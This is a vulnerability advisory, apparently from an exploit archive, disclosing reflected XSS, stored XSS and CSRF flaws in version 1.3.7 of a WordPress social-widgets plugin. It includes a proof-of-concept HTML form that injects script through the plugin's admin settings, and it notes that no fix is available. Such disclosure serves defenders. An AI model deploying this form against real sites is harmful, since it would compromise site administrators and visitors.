WordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting Vulnerability

ID 1337DAY-ID-23965
Type zdt
Reporter Kenneth Jepsen
Modified 2015-08-04T00:00:00


Exploit for php platform in category web applications

                                            Title: WordPress 'Facebook, Twitter & Google+ Social Widgets' Plugin
Version: 1.3.7
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-15
- https://wordpress.org/plugins/facebook-twitter-google-social-widgets/
- https://plugins.svn.wordpress.org/facebook-twitter-google-social-widgets/
Notified WordPress: 2015-06-23

## Plugin description
Simple plug-in that displays the most important social widgets from Facebook, Twitter and Google+ below your posts. Very easy to setup: just activate

## Vulnerabilities

The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a malicious URL (keep in mind that most modern browsers encode the url). This happens on line 134 in the file SWAdmin.php

Some of the plugin settings in the admin menu are vulnerable to stored XSS. Furthermore, all settings can be set through CSRF.

Log in as admin and submit the following request:

<form method="POST" action="[URL]/wp-admin/options-general.php?page=social-widgets-options">
<input type="text" name="sw_hidden" value="Y" required><br />
<input type="text" name="sw_facebook" value="1" required><br />
<input type="text" name="sw_twitter" value="2" required><br />
<input type="text" name="sw_google" value="3" required><br />
<input type="text" name="sw_displayonposts" value="1" required><br />
<input type="text" name="sw_displayonpages" value="1" required><br />
<input type="text" name="sw_displaybelowpost" value="1" required><br />
<input type="text" name="sw_contentfilterpriority" value="10" required><br />
<input type="text" name="sw_supportplugin" value="1" required><br />
<input type="text" name="sw_cssstyleall" value=""><script>alert(1)</script>"><br />
<input type="text" name="sw_cssstylewidget" value=""><script>alert(2)</script>"><br />
<input type="submit">

## Solution
No fix available

XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

#  0day.today [2018-01-04]  #